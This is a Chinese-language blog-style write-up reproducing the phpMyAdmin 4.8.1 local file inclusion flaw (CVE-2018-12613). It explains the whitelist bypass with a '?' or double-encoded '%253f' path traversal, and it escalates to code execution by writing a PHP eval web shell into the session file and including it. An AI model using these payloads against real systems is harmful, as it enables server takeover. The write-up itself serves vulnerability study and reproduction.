phpmyadmin4.8.1后台 文件包含漏洞复现(CVE-2018-12613)
漏洞分析
在index.php中看到了一个明显的文件包含
第61行,include $_REQUEST['target'];
,我们只需要绕过if中的判断就可以传递一个target
参数来包含恶意文件
根据第57行正则限制,target
开头不能是index
第58行,target
不能是黑名单中的import.php
和export.php
第59行,将target
参数传入Core::checkPageValidity()
方法,只要发挥结果为true就行了
我们找到Core.php
我们调用方法的时候没有传$whitelist
参数,所以为默认值空数组
第445~447行:当$whitelist
为空时,$whitelist=self::$goto_whitelist
,如下
第456~463行:
mb_strpos:int mb_strpos ( string $haystack , string $needle [, int $offset= 0 [, string $encoding= mb_internal_encoding() ]] )
,返回 $haystack
中 $needle
首次出现位置的数值
mb_substr:string mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] )
,从$str
字符串中,提取从$start
位置开始,长度为$length
的字符串
获取$page
中?
前的所有字符串,不存在时获取全部字符串,然后判断是否在$whitelist
数组中,若存在返回true
在这里,我们只要使target=db_sql.php?/../../../......
类似于这样就可以绕过白名单检测了
进而利用目录穿越,就可以包含本地文件
这里我遇到了一个问题,别的文档里都说要利用后面的urldecode
才可以,但是我这里直接用了?
也读取成功了
不知道有没有师傅解答一下
正常思路往下走,这里是无法利用的,往后看
第465~473行,和上面基本一样,唯一不一样的就是第465行的$_page = urldecode($page)
,这是绕过的关键
我们可以双重编码绕过,将?
编码两次,变成%253f
,首先自动解码一次变成%3f
,再通过urldecode
变成?
,不仅成功绕过白名单,还能够利用目录穿越包含本地文件
漏洞利用
包含本地系统文件
如上
命令执行
利用PHP SESSION序列化数据
每次我们登录phpmyadmin的时候,系统就会产生一个sess_sessionID
文件,然后在里面执行的操作,会被记录到这个文件内,我这里实在/tmp
目录下的
查看一下phpmyadmin的sessionid
所以我这里的文件就是/tmp/sess_9ec5f43948c5a5d6e54fd70b536a3aec
然后打开sql,执行SELECT '<?php phpinfo()?>;'
同理,我们去包含一下这个session文件
成功执行
尝试SELECT '<?php eval($_GET[c]);exit();?>';
利用mysql的data文件
我们建立一个数据表,再将<?php eval($_GET[c]);?>
写入列名
我们用show variables like '%datadir%';
语句查询一下data文件的绝对路径是在/var/lib/mysql
下
但是我发现并没有这个目录
所以没法复现了,如果能够包含到这个数据表文件,我们同样可以执行命令